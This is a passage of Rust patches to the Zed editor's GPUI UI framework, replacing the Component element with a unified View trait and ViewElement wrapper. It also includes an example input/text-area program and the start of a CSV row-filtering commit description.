+}
+
+impl gpui::RenderOnce for CursorReadout {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let cursor = self.editor.read(cx).cursor;
+        div()
+            .text_sm()
+            .text_color(hsla(0., 0., 0.45, 1.))
+            .child(SharedString::from(format!("cursor @ {cursor}")))
+    }
+}
+
+struct ViewExample;
+
+impl ViewExample {
+    fn new() -> Self {
+        Self
+    }
+}
+
+impl Render for ViewExample {
+    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        // The data plane: plain strings, allocated at the top by the hook.
+        let name = window.use_state(cx, |_, _| String::new());
+        let email = window.use_state(cx, |_, _| String::from("me@example.com"));
+        let bio = window.use_state(cx, |_, _| String::new());
+        // Editors that own their own string internally — no extra wiring up top.
+        let notes = window.use_state(cx, |window, cx| Editor::new("multi\nline", window, cx));
+        let owned = window.use_state(cx, |window, cx| Editor::new("editable", window, cx));
+
+        div()
+            .flex()
+            .flex_col()
+            .size_full()
+            .bg(rgb(0xf0f0f0))
+            .p(px(24.))
+            .gap(px(24.))
+            .child(
+                section("Inputs — from a String (cursor stays internal)")
+                    .child(Input::new(name).width(px(320.)))
+                    .child(
+                        Input::new(email)
+                            .width(px(320.))
+                            .color(hsla(0., 0., 0.3, 1.)),
+                    ),
+            )
+            .child(
+                section("Input — from an Editor (read its cursor beside it)").child(
+                    div()
+                        .flex()
+                        .items_center()
+                        .gap(px(12.))
+                        .child(Input::editor(owned.clone()).width(px(320.)))
+                        .child(CursorReadout::new(owned)),
+                ),
+            )
+            .child(
+                section("Text areas — from a String, or from an Editor")
+                    .child(TextArea::new(bio, 3))
+                    .child(
+                        div()
+                            .flex()
+                            .items_start()
+                            .gap(px(12.))
+                            .child(TextArea::editor(notes.clone(), 3).color(hsla(
+                                250. / 360.,
+                                0.7,
+                                0.4,
+                                1.,
+                            )))
+                            .child(CursorReadout::new(notes)),
+                    ),
+            )
+    }
+}
+
+/// A labeled vertical section.
+fn section(title: &str) -> Div {
+    div().flex().flex_col().gap(px(8.)).child(
+        div()
+            .text_sm()
+            .text_color(hsla(0., 0., 0.3, 1.))
+            .child(SharedString::from(title.to_string())),
+    )
+}
+
+fn run_example() {
+    application().run(|cx: &mut App| {
+        let bounds = Bounds::centered(None, size(px(560.0), px(480.0)), cx);
+        cx.bind_keys([
+            KeyBinding::new("backspace", Backspace, None),
+            KeyBinding::new("delete", Delete, None),
+            KeyBinding::new("left", Left, None),
+            KeyBinding::new("right", Right, None),
+            KeyBinding::new("home", Home, None),
+            KeyBinding::new("end", End, None),
+            KeyBinding::new("enter", Enter, None),
+            KeyBinding::new("cmd-q", Quit, None),
+        ]);
+
+        cx.open_window(
+            WindowOptions {
+                window_bounds: Some(WindowBounds::Windowed(bounds)),
+                ..Default::default()
+            },
+            |_, cx| cx.new(|_| ViewExample::new()),
+        )
+        .unwrap();
+
+        cx.on_action(|_: &Quit, cx| cx.quit());
+        cx.activate(true);
+    });
+}
+
+#[cfg(not(target_family = "wasm"))]
+fn main() {
+    run_example();
+}
+
+#[cfg(target_family = "wasm")]
+#[wasm_bindgen::prelude::wasm_bindgen(start)]
+pub fn start() {
+    gpui_platform::web_init();
+    run_example();
+}
diff --git a/crates/gpui/src/element.rs b/crates/gpui/src/element.rs
index f212f246caab86..dbd82b1c2ef936 100644
--- a/crates/gpui/src/element.rs
+++ b/crates/gpui/src/element.rs
@@ -33,12 +33,12 @@
 
 use crate::{
     A11ySubtreeBuilder, App, ArenaBox, AvailableSpace, Bounds, Context, DispatchNodeId, ElementId,
-    FocusHandle, InspectorElementId, LayoutId, Pixels, Point, SharedString, Size, Style, Window,
+    FocusHandle, InspectorElementId, LayoutId, Pixels, Point, Size, Style, Window,
     util::FluentBuilder, window::with_element_arena,
 };
 use derive_more::{Deref, DerefMut};
 use std::{
-    any::{Any, type_name},
+    any::Any,
     fmt::{self, Debug, Display},
     mem, panic,
     sync::Arc,
@@ -208,116 +208,6 @@ pub trait ParentElement {
     }
 }
 
-/// An element for rendering components. An implementation detail of the [`IntoElement`] derive macro
-/// for [`RenderOnce`]
-#[doc(hidden)]
-pub struct Component<C: RenderOnce> {
-    component: Option<C>,
-    #[cfg(debug_assertions)]
-    source: &'static core::panic::Location<'static>,
-}
-
-impl<C: RenderOnce> Component<C> {
-    /// Create a new component from the given RenderOnce type.
-    #[track_caller]
-    pub fn new(component: C) -> Self {
-        Component {
-            component: Some(component),
-            #[cfg(debug_assertions)]
-            source: core::panic::Location::caller(),
-        }
-    }
-}
-
-fn prepaint_component(
-    (element, name): &mut (AnyElement, &'static str),
-    window: &mut Window,
-    cx: &mut App,
-) {
-    window.with_id(ElementId::Name(SharedString::new_static(name)), |window| {
-        element.prepaint(window, cx);
-    })
-}
-
-fn paint_component(
-    (element, name): &mut (AnyElement, &'static str),
-    window: &mut Window,
-    cx: &mut App,
-) {
-    window.with_id(ElementId::Name(SharedString::new_static(name)), |window| {
-        element.paint(window, cx);
-    })
-}
-impl<C: RenderOnce> Element for Component<C> {
-    type RequestLayoutState = (AnyElement, &'static str);
-    type PrepaintState = ();
-
-    fn id(&self) -> Option<ElementId> {
-        None
-    }
-
-    fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
-        #[cfg(debug_assertions)]
-        return Some(self.source);
-
-        #[cfg(not(debug_assertions))]
-        return None;
-    }
-
-    fn request_layout(
-        &mut self,
-        _id: Option<&GlobalElementId>,
-        _inspector_id: Option<&InspectorElementId>,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> (LayoutId, Self::RequestLayoutState) {
-        window.with_id(ElementId::Name(type_name::<C>().into()), |window| {
-            let mut element = self
-                .component
-                .take()
-                .unwrap()
-                .render(window, cx)
-                .into_any_element();
-
-            let layout_id = element.request_layout(window, cx);
-            (layout_id, (element, type_name::<C>()))
-        })
-    }
-
-    fn prepaint(
-        &mut self,
-        _id: Option<&GlobalElementId>,
-        _inspector_id: Option<&InspectorElementId>,
-        _: Bounds<Pixels>,
-        state: &mut Self::RequestLayoutState,
-        window: &mut Window,
-        cx: &mut App,
-    ) {
-        prepaint_component(state, window, cx);
-    }
-
-    fn paint(
-        &mut self,
-        _id: Option<&GlobalElementId>,
-        _inspector_id: Option<&InspectorElementId>,
-        _: Bounds<Pixels>,
-        state: &mut Self::RequestLayoutState,
-        _: &mut Self::PrepaintState,
-        window: &mut Window,
-        cx: &mut App,
-    ) {
-        paint_component(state, window, cx);
-    }
-}
-
-impl<C: RenderOnce> IntoElement for Component<C> {
-    type Element = Self;
-
-    fn into_element(self) -> Self::Element {
-        self
-    }
-}
-
 /// A globally unique identifier for an element, used to track state across frames.
 #[derive(Deref, DerefMut, Clone, Default, Debug, Eq, PartialEq, Hash)]
 pub struct GlobalElementId(pub(crate) Arc<[ElementId]>);
diff --git a/crates/gpui/src/view.rs b/crates/gpui/src/view.rs
index 39b87dbb8039e7..394f00c1082db4 100644
--- a/crates/gpui/src/view.rs
+++ b/crates/gpui/src/view.rs
@@ -1,36 +1,24 @@
 use crate::{
     AnyElement, AnyEntity, AnyWeakEntity, App, Bounds, ContentMask, Context, Element, ElementId,
     Entity, EntityId, GlobalElementId, InspectorElementId, IntoElement, LayoutId, PaintIndex,
-    Pixels, PrepaintStateIndex, Render, Style, StyleRefinement, TextStyle, WeakEntity,
+    Pixels, PrepaintStateIndex, Render, RenderOnce, Style, StyleRefinement, TextStyle, WeakEntity,
 };
 use crate::{Empty, Window};
 use anyhow::Result;
 use collections::FxHashSet;
 use refineable::Refineable;
 use std::mem;
-use std::rc::Rc;
 use std::{any::TypeId, fmt, ops::Range};
 
-struct AnyViewState {
-    prepaint_range: Range<PrepaintStateIndex>,
-    paint_range: Range<PaintIndex>,
-    cache_key: ViewCacheKey,
-    accessed_entities: FxHashSet<EntityId>,
-}
-
-#[derive(Default)]
-struct ViewCacheKey {
-    bounds: Bounds<Pixels>,
-    content_mask: ContentMask<Pixels>,
-    text_style: TextStyle,
-}
-
-/// A dynamically-typed handle to a view, which can be downcast to a [Entity] for a specific type.
+/// A dynamically-typed view handle that can be downcast to a specific `Entity<V>`.
+///
+/// This is the type-erased counterpart to [`ViewElement`]: it holds an entity plus
+/// a function pointer to its render, and is itself a [`View`], so embedding it as an
+/// element goes through the same [`ViewElement`] machinery as any other view.
 #[derive(Clone, Debug)]
 pub struct AnyView {
     entity: AnyEntity,
     render: fn(&AnyView, &mut Window, &mut App) -> AnyElement,
-    cached_style: Option<Rc<StyleRefinement>>,
 }
 
 impl<V: Render> From<Entity<V>> for AnyView {
@@ -38,18 +26,18 @@ impl<V: Render> From<Entity<V>> for AnyView {
         AnyView {
             entity: value.into_any(),
             render: any_view::render::<V>,
-            cached_style: None,
         }
     }
 }
 
 impl AnyView {
-    /// Indicate that this view should be cached when using it as an element.
-    /// When using this method, the view's previous layout and paint will be recycled from the previous frame if [Context::notify] has not been called since it was rendered.
-    /// The one exception is when [Window::refresh] is called, in which case caching is ignored.
-    pub fn cached(mut self, style: StyleRefinement) -> Self {
-        self.cached_style = Some(style.into());
-        self
+    /// Embed this view as a cached [`ViewElement`] laid out at `style`.
+    ///
+    /// The rendered subtree is recycled from the previous frame unless
+    /// [Context::notify] was called on the backing entity since it was rendered
+    /// (or [Window::refresh] is called, which ignores caching).
+    pub fn cached(self, style: StyleRefinement) -> ViewElement<AnyView> {
+        ViewElement::new(self).cached(style)
     }
 
     /// Convert this to a weak handle.
@@ -68,7 +56,6 @@ impl AnyView {
             Err(entity) => Err(Self {
                 entity,
                 render: self.render,
-                cached_style: self.cached_style,
             }),
         }
     }
@@ -78,7 +65,7 @@ impl AnyView {
         self.entity.entity_type
     }
 
-    /// Gets the entity id of this handle.
+    /// The [`EntityId`] of this view.
     pub fn entity_id(&self) -> EntityId {
         self.entity.entity_id()
     }
@@ -92,184 +79,48 @@ impl PartialEq for AnyView {
 
 impl Eq for AnyView {}
 
-impl Element for AnyView {
-    type RequestLayoutState = Option<AnyElement>;
-    type PrepaintState = Option<AnyElement>;
-
-    fn id(&self) -> Option<ElementId> {
-        Some(ElementId::View(self.entity_id()))
-    }
-
-    fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
-        None
+/// `AnyView` is the type-erased [`View`]: its `render` is a function pointer rather
+/// than a concrete type, but it participates in the reactive graph exactly like any
+/// other view via [`ViewElement`].
+impl View for AnyView {
+    fn entity_id(&self) -> Option<EntityId> {
+        Some(self.entity.entity_id())
     }
 
-    fn request_layout(
-        &mut self,
-        _id: Option<&GlobalElementId>,
-        _inspector_id: Option<&InspectorElementId>,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> (LayoutId, Self::RequestLayoutState) {
-        window.with_rendered_view(self.entity_id(), |window| {
-            // Disable caching when inspecting so that mouse_hit_test has all hitboxes.
-            let caching_disabled = window.is_inspector_picking(cx);
-            match self.cached_style.as_ref() {
-                Some(style) if !caching_disabled => {
-                    let mut root_style = Style::default();
-                    root_style.refine(style);
-                    let layout_id = window.request_layout(root_style, None, cx);
-                    (layout_id, None)
-                }
-                _ => {
-                    let mut element = (self.render)(self, window, cx);
-                    let layout_id = element.request_layout(window, cx);
-                    (layout_id, Some(element))
-                }
-            }
-        })
-    }
-
-    fn prepaint(
-        &mut self,
-        global_id: Option<&GlobalElementId>,
-        _inspector_id: Option<&InspectorElementId>,
-        bounds: Bounds<Pixels>,
-        element: &mut Self::RequestLayoutState,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> Option<AnyElement> {
-        window.set_view_id(self.entity_id());
-        window.with_rendered_view(self.entity_id(), |window| {
-            if let Some(mut element) = element.take() {
-                element.prepaint(window, cx);
-                return Some(element);
-            }
-
-            window.with_element_state::<AnyViewState, _>(
-                global_id.unwrap(),
-                |element_state, window| {
-                    let content_mask = window.content_mask();
-                    let text_style = window.text_style();
-
-                    if let Some(mut element_state) = element_state
-                        && element_state.cache_key.bounds == bounds
-                        && element_state.cache_key.content_mask == content_mask
-                        && element_state.cache_key.text_style == text_style
-                        && !window.dirty_views.contains(&self.entity_id())
-                        && !window.refreshing
-                    {
-                        let prepaint_start = window.prepaint_index();
-                        window.reuse_prepaint(element_state.prepaint_range.clone());
-                        cx.entities
-                            .extend_accessed(&element_state.accessed_entities);
-                        let prepaint_end = window.prepaint_index();
-                        element_state.prepaint_range = prepaint_start..prepaint_end;
-
-                        return (None, element_state);
-                    }
-
-                    let refreshing = mem::replace(&mut window.refreshing, true);
-                    let prepaint_start = window.prepaint_index();
-                    let (mut element, accessed_entities) = cx.detect_accessed_entities(|cx| {
-                        let mut element = (self.render)(self, window, cx);
-                        element.layout_as_root(bounds.size.into(), window, cx);
-                        element.prepaint_at(bounds.origin, window, cx);
-                        element
-                    });
-
-                    let prepaint_end = window.prepaint_index();
-                    window.refreshing = refreshing;
-
-                    (
-                        Some(element),
-                        AnyViewState {
-                            accessed_entities,
-                            prepaint_range: prepaint_start..prepaint_end,
-                            paint_range: PaintIndex::default()..PaintIndex::default(),
-                            cache_key: ViewCacheKey {
-                                bounds,
-                                content_mask,
-                                text_style,
-                            },
-                        },
-                    )
-                },
-            )
-        })
-    }
-
-    fn paint(
-        &mut self,
-        global_id: Option<&GlobalElementId>,
-        _inspector_id: Option<&InspectorElementId>,
-        _bounds: Bounds<Pixels>,
-        _: &mut Self::RequestLayoutState,
-        element: &mut Self::PrepaintState,
-        window: &mut Window,
-        cx: &mut App,
-    ) {
-        window.with_rendered_view(self.entity_id(), |window| {
-            let caching_disabled = window.is_inspector_picking(cx);
-            if self.cached_style.is_some() && !caching_disabled {
-                window.with_element_state::<AnyViewState, _>(
-                    global_id.unwrap(),
-                    |element_state, window| {
-                        let mut element_state = element_state.unwrap();
-
-                        let paint_start = window.paint_index();
-
-                        if let Some(element) = element {
-                            let refreshing = mem::replace(&mut window.refreshing, true);
-                            element.paint(window, cx);
-                            window.refreshing = refreshing;
-                        } else {
-                            window.reuse_paint(element_state.paint_range.clone());
-                        }
-
-                        let paint_end = window.paint_index();
-                        element_state.paint_range = paint_start..paint_end;
-
-                        ((), element_state)
-                    },
-                )
-            } else {
-                element.as_mut().unwrap().paint(window, cx);
-            }
-        });
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement {
+        (self.render)(&self, window, cx)
     }
 }
 
 impl<V: 'static + Render> IntoElement for Entity<V> {
-    type Element = AnyView;
+    type Element = ViewElement<Entity<V>>;
 
     fn into_element(self) -> Self::Element {
-        self.into()
+        ViewElement::new(self)
     }
 }
 
 impl IntoElement for AnyView {
-    type Element = Self;
+    type Element = ViewElement<AnyView>;
 
     fn into_element(self) -> Self::Element {
-        self
+        ViewElement::new(self)
     }
 }
 
-/// A weak, dynamically-typed view handle that does not prevent the view from being released.
+/// A weak, dynamically-typed view handle.
 pub struct AnyWeakView {
     entity: AnyWeakEntity,
     render: fn(&AnyView, &mut Window, &mut App) -> AnyElement,
 }
 
 impl AnyWeakView {
-    /// Convert to a strongly-typed handle if the referenced view has not yet been released.
+    /// Upgrade to a strong `AnyView` handle, if the view is still alive.
     pub fn upgrade(&self) -> Option<AnyView> {
         let entity = self.entity.upgrade()?;
         Some(AnyView {
             entity,
             render: self.render,
-            cached_style: None,
         })
     }
 }
@@ -310,6 +161,335 @@ mod any_view {
     }
 }
 
+/// A renderable that participates in GPUI's reactive graph — the unifying model
+/// behind [`Render`] and [`RenderOnce`].
+///
+/// When `entity_id()` returns `Some`, that id becomes the view's identity: it gets
+/// a unique element-id space (so internal `use_state` / `.id(..)` never collide
+/// across siblings) and `cx.notify()` on that entity re-renders only this view's
+/// subtree. `None` behaves like a stateless component.
+///
+/// You rarely implement `View` directly. `Entity<T: Render>` and any `T: RenderOnce`
+/// get a blanket impl below; implement it by hand only when a component needs both
+/// parent-supplied props *and* a backing entity for identity.
+pub trait View: 'static + Sized {
+    /// This view's identity, if it has one. A view typically holds the backing
+    /// entity as a field and returns its [`EntityId`] here.
+    ///
+    /// The id becomes this view's [`ElementId`], so two views keyed on the same
+    /// entity must not be rendered at the same position in the element tree
+    /// (e.g. as siblings under the same parent): their internal element state
+    /// (`use_state`, scroll offsets, etc.) would silently collide. Nesting is
+    /// fine — the id is scoped by the parent path.
+    fn entity_id(&self) -> Option<EntityId>;
+
+    /// Render this view into an element tree, consuming `self`.
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement;
+}
+
+/// A stateless component (`RenderOnce`) is a `View` with no identity.
+impl<T: RenderOnce> View for T {
+    fn entity_id(&self) -> Option<EntityId> {
+        None
+    }
+
+    #[inline]
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement {
+        RenderOnce::render(self, window, cx)
+    }
+}
+
+/// An entity that renders itself (`Render`) is a `View` keyed on its own id.
+impl<T: Render> View for Entity<T> {
+    fn entity_id(&self) -> Option<EntityId> {
+        Some(Entity::entity_id(self))
+    }
+
+    #[inline]
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement {
+        self.update(cx, |this, cx| {
+            Render::render(this, window, cx).into_any_element()
+        })
+    }
+}
+
+impl<T: Render> Entity<T> {
+    /// Embed this entity as a cached [`ViewElement`] laid out at `style`.
+    ///
+    /// The rendered subtree is reused until the entity is notified (or the
+    /// cached bounds / text style change). Caching requires a definite size:
+    /// a cached view is laid out from `style` and is *not* measured from its
+    /// contents. Use [`ViewElement::new`] (or `.child(entity)`) for the
+    /// uncached case.
+    #[track_caller]
+    pub fn cached(self, style: StyleRefinement) -> ViewElement<Entity<T>> {
+        ViewElement::new(self).cached(style)
+    }
+}
+
+/// The element type for [`View`] implementations. Wraps a `View` and hooks it
+/// into layout, prepaint, and paint. Constructed via [`ViewElement::new`].
+#[doc(hidden)]
+pub struct ViewElement<V: View> {
+    view: Option<V>,
+    entity_id: Option<EntityId>,
+    cached_style: Option<StyleRefinement>,
+    #[cfg(debug_assertions)]
+    source: &'static core::panic::Location<'static>,
+}
+
+impl<V: View> ViewElement<V> {
+    /// Wrap a [`View`] as an element.
+    #[track_caller]
+    pub fn new(view: V) -> Self {
+        let entity_id = view.entity_id();
+        ViewElement {
+            entity_id,
+            cached_style: None,
+            view: Some(view),
+            #[cfg(debug_assertions)]
+            source: core::panic::Location::caller(),
+        }
+    }
+
+    /// Enable caching of this view's rendered subtree, laid out at `style`.
+    /// The composer supplies the layout style because caching skips rendering
+    /// the contents to measure them.
+    ///
+    /// Crate-private on purpose: caching is only sound for entity-backed views,
+    /// where [`Context::notify`] is the contract that busts the cache. A stateless
+    /// view has no such contract, so a frozen subtree could never be invalidated.
+    /// Reach this through [`Entity::cached`] or [`AnyView::cached`], which are
+    /// entity-backed by construction.
+    pub(crate) fn cached(mut self, style: StyleRefinement) -> Self {
+        self.cached_style = Some(style);
+        self
+    }
+}
+
+impl<V: View> IntoElement for ViewElement<V> {
+    type Element = Self;
+
+    fn into_element(self) -> Self::Element {
+        self
+    }
+}
+
+struct ViewElementState {
+    prepaint_range: Range<PrepaintStateIndex>,
+    paint_range: Range<PaintIndex>,
+    cache_key: ViewElementCacheKey,
+    accessed_entities: FxHashSet<EntityId>,
+}
+
+struct ViewElementCacheKey {
+    bounds: Bounds<Pixels>,
+    content_mask: ContentMask<Pixels>,
+    text_style: TextStyle,
+}
+
+impl<V: View> Element for ViewElement<V> {
+    type RequestLayoutState = Option<AnyElement>;
+    type PrepaintState = Option<AnyElement>;
+
+    fn id(&self) -> Option<ElementId> {
+        self.entity_id.map(ElementId::View)
+    }
+
+    fn source_location(&self) -> Option<&'static core::panic::Location<'static>> {
+        #[cfg(debug_assertions)]
+        return Some(self.source);
+
+        #[cfg(not(debug_assertions))]
+        return None;
+    }
+
+    fn request_layout(
+        &mut self,
+        _id: Option<&GlobalElementId>,
+        _inspector_id: Option<&InspectorElementId>,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> (LayoutId, Self::RequestLayoutState) {
+        if let Some(entity_id) = self.entity_id {
+            // Stateful path: create a reactive boundary.
+            window.with_rendered_view(entity_id, |window| {
+                let caching_disabled = window.is_inspector_picking(cx);
+                match self.cached_style.as_ref() {
+                    Some(style) if !caching_disabled => {
+                        let mut root_style = Style::default();
+                        root_style.refine(style);
+                        let layout_id = window.request_layout(root_style, None, cx);
+                        (layout_id, None)
+                    }
+                    _ => {
+                        let mut element = self
+                            .view
+                            .take()
+                            .unwrap()
+                            .render(window, cx)
+                            .into_any_element();
+                        let layout_id = element.request_layout(window, cx);
+                        (layout_id, Some(element))
+                    }
+                }
+            })
+        } else {
+            // Stateless path: isolate subtree via type name (no entity identity).
+            window.with_id(
+                ElementId::Name(std::any::type_name::<V>().into()),
+                |window| {
+                    let mut element = self
+                        .view
+                        .take()
+                        .unwrap()
+                        .render(window, cx)
+                        .into_any_element();
+                    let layout_id = element.request_layout(window, cx);
+                    (layout_id, Some(element))
+                },
+            )
+        }
+    }
+
+    fn prepaint(
+        &mut self,
+        global_id: Option<&GlobalElementId>,
+        _inspector_id: Option<&InspectorElementId>,
+        bounds: Bounds<Pixels>,
+        element: &mut Self::RequestLayoutState,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> Option<AnyElement> {
+        if let Some(entity_id) = self.entity_id {
+            // Stateful path.
+            window.set_view_id(entity_id);
+            window.with_rendered_view(entity_id, |window| {
+                if let Some(mut element) = element.take() {
+                    element.prepaint(window, cx);
+                    return Some(element);
+                }
+
+                window.with_element_state::<ViewElementState, _>(
+                    global_id.unwrap(),
+                    |element_state, window| {
+                        let content_mask = window.content_mask();
+                        let text_style = window.text_style();
+
+                        if let Some(mut element_state) = element_state
+                            && element_state.cache_key.bounds == bounds
+                            && element_state.cache_key.content_mask == content_mask
+                            && element_state.cache_key.text_style == text_style
+                            && !window.dirty_views.contains(&entity_id)
+                            && !window.refreshing
+                        {
+                            let prepaint_start = window.prepaint_index();
+                            window.reuse_prepaint(element_state.prepaint_range.clone());
+                            cx.entities
+                                .extend_accessed(&element_state.accessed_entities);
+                            let prepaint_end = window.prepaint_index();
+                            element_state.prepaint_range = prepaint_start..prepaint_end;
+
+                            return (None, element_state);
+                        }
+
+                        let refreshing = mem::replace(&mut window.refreshing, true);
+                        let prepaint_start = window.prepaint_index();
+                        let (mut element, accessed_entities) = cx.detect_accessed_entities(|cx| {
+                            let mut element = self
+                                .view
+                                .take()
+                                .unwrap()
+                                .render(window, cx)
+                                .into_any_element();
+                            element.layout_as_root(bounds.size.into(), window, cx);
+                            element.prepaint_at(bounds.origin, window, cx);
+                            element
+                        });
+
+                        let prepaint_end = window.prepaint_index();
+                        window.refreshing = refreshing;
+
+                        (
+                            Some(element),
+                            ViewElementState {
+                                accessed_entities,
+                                prepaint_range: prepaint_start..prepaint_end,
+                                paint_range: PaintIndex::default()..PaintIndex::default(),
+                                cache_key: ViewElementCacheKey {
+                                    bounds,
+                                    content_mask,
+                                    text_style,
+                                },
+                            },
+                        )
+                    },
+                )
+            })
+        } else {
+            // Stateless path: just prepaint the element.
+            window.with_id(
+                ElementId::Name(std::any::type_name::<V>().into()),
+                |window| {
+                    element.as_mut().unwrap().prepaint(window, cx);
+                },
+            );
+            Some(element.take().unwrap())
+        }
+    }
+
+    fn paint(
+        &mut self,
+        global_id: Option<&GlobalElementId>,
+        _inspector_id: Option<&InspectorElementId>,
+        _bounds: Bounds<Pixels>,
+        _request_layout: &mut Self::RequestLayoutState,
+        element: &mut Self::PrepaintState,
+        window: &mut Window,
+        cx: &mut App,
+    ) {
+        if let Some(entity_id) = self.entity_id {
+            // Stateful path.
+            window.with_rendered_view(entity_id, |window| {
+                let caching_disabled = window.is_inspector_picking(cx);
+                if self.cached_style.is_some() && !caching_disabled {
+                    window.with_element_state::<ViewElementState, _>(
+                        global_id.unwrap(),
+                        |element_state, window| {
+                            let mut element_state = element_state.unwrap();
+
+                            let paint_start = window.paint_index();
+
+                            if let Some(element) = element {
+                                let refreshing = mem::replace(&mut window.refreshing, true);
+                                element.paint(window, cx);
+                                window.refreshing = refreshing;
+                            } else {
+                                window.reuse_paint(element_state.paint_range.clone());
+                            }
+
+                            let paint_end = window.paint_index();
+                            element_state.paint_range = paint_start..paint_end;
+
+                            ((), element_state)
+                        },
+                    )
+                } else {
+                    element.as_mut().unwrap().paint(window, cx);
+                }
+            });
+        } else {
+            // Stateless path: just paint the element.
+            window.with_id(
+                ElementId::Name(std::any::type_name::<V>().into()),
+                |window| {
+                    element.as_mut().unwrap().paint(window, cx);
+                },
+            );
+        }
+    }
+}
+
 /// A view that renders nothing
 pub struct EmptyView;
 
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index f4bd64ecba51b0..62a8011d4e6536 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2824,7 +2824,7 @@ impl Window {
         };
 
         // Layout all root elements.
-        let mut root_element = self.root.as_ref().unwrap().clone().into_any();
+        let mut root_element = self.root.as_ref().unwrap().clone().into_any_element();
         root_element.prepaint_as_root(Point::default(), root_size.into(), self, cx);
 
         #[cfg(any(feature = "inspector", debug_assertions))]
@@ -2836,12 +2836,12 @@ impl Window {
         let mut active_drag_element = None;
         let mut tooltip_element = None;
         if let Some(prompt) = self.prompt.take() {
-            let mut element = prompt.view.any_view().into_any();
+            let mut element = prompt.view.any_view().into_any_element();
             element.prepaint_as_root(Point::default(), root_size.into(), self, cx);
             prompt_element = Some(element);
             self.prompt = Some(prompt);
         } else if let Some(active_drag) = cx.active_drag.take() {
-            let mut element = active_drag.view.clone().into_any();
+            let mut element = active_drag.view.clone().into_any_element();
             let offset = self.mouse_position() - active_drag.cursor_offset;
             element.prepaint_as_root(offset, AvailableSpace::min_size(), self, cx);
             active_drag_element = Some(element);
@@ -2905,7 +2905,7 @@ impl Window {
                 log::error!("Unexpectedly absent TooltipRequest");
                 continue;
             };
-            let mut element = tooltip_request.tooltip.view.clone().into_any();
+            let mut element = tooltip_request.tooltip.view.clone().into_any_element();
             let mouse_position = tooltip_request.tooltip.mouse_position;
             let tooltip_size = element.layout_as_root(AvailableSpace::min_size(), self, cx);
 
diff --git a/crates/gpui_macros/src/derive_into_element.rs b/crates/gpui_macros/src/derive_into_element.rs
index 89d609ae65d604..51d2a8ab3f7214 100644
--- a/crates/gpui_macros/src/derive_into_element.rs
+++ b/crates/gpui_macros/src/derive_into_element.rs
@@ -11,11 +11,11 @@ pub fn derive_into_element(input: TokenStream) -> TokenStream {
         impl #impl_generics gpui::IntoElement for #type_name #type_generics
         #where_clause
         {
-            type Element = gpui::Component<Self>;
+            type Element = gpui::ViewElement<Self>;
 
             #[track_caller]
             fn into_element(self) -> Self::Element {
-                gpui::Component::new(self)
+                gpui::ViewElement::new(self)
             }
         }
     };
diff --git a/crates/gpui_macros/src/gpui_macros.rs b/crates/gpui_macros/src/gpui_macros.rs
index f3958bca568c94..50305af752c393 100644
--- a/crates/gpui_macros/src/gpui_macros.rs
+++ b/crates/gpui_macros/src/gpui_macros.rs
@@ -29,8 +29,8 @@ pub fn register_action(ident: TokenStream) -> TokenStream {
     register_action::register_action(ident)
 }
 
-/// #[derive(IntoElement)] is used to create a Component out of anything that implements
-/// the `RenderOnce` trait.
+/// #[derive(IntoElement)] generates an `IntoElement` impl for any `RenderOnce`
+/// type, wrapping it in a `ViewElement` so it can be used as a child.
 #[proc_macro_derive(IntoElement)]
 pub fn derive_into_element(input: TokenStream) -> TokenStream {
     derive_into_element::derive_into_element(input)
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index dd88d76741376a..0fc345b1b7c9f3 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -6294,7 +6294,7 @@ impl Workspace {
                     .children(
                         self.notifications
                             .iter()
-                            .map(|(_, notification)| notification.clone().into_any()),
+                            .map(|(_, notification)| notification.clone().into_any_element()),
                     ),
             )
         }

From d9e35975c238013d2888c5ef8231c9f3d786c993 Mon Sep 17 00:00:00 2001
From: Oleksandr Kholiavko <43780952+HalavicH@users.noreply.github.com>
Date: Wed, 8 Jul 2026 17:54:36 +0200
Subject: [PATCH 339/772] csv_preview: Add row filtering feature (#60339)

# Objective

CSV feature needs row filtering feature by column values. This PR
provides base implementation of it with barebones ui.

> NOTE: Sleek UI with search & proper scrolling hanling is implemented
in next PR. It's stacked on top to reduce review scope

## Solution

- New `FilterEntry` / `FilterEntryState` model in
`table_data_engine/filtering_by_column.rs` tracking per-column
applied/candidate filter values
- Filtering runs in the background (`feat: Implement background
filtering`) so large CSVs don't block the UI thread while a filter is
applied
- Filter menu entries reflect live counts and support a configurable
sort order (`FilterSortOrder`, added in `renderer/settings.rs` /
`settings.rs`)
- Filter/sort trigger buttons on column headers are hidden until hover,
using `GradientFade` (new in `ui/src/components/gradient_fade.rs`) to
fade content behind them

## Testing

Filter chain tested on csv fixtures with multiple filters applied
sequentially columns.

## Self-Review Checklist: (todo)

- [ ] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines) (out of scope of this pr)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<img width="664" height="249" alt="image"
src="https://github.com/user-attachments/assets/0e9b0a91-1a27-4e0f-a8d4-fdce36735131"
/>

<img width="663" height="205" alt="image"
src="https://github.com/user-attachments/assets/0428f5c6-6aaa-4891-b010-ca79803f6613"
/>

---

Release Notes:

- Added initial row filtering UI & logic
---
 crates/csv_preview/src/csv_preview.rs         |  70 +++--
 crates/csv_preview/src/parser.rs              |   9 +-
 .../renderer/performance_metrics_overlay.rs   |   2 +-
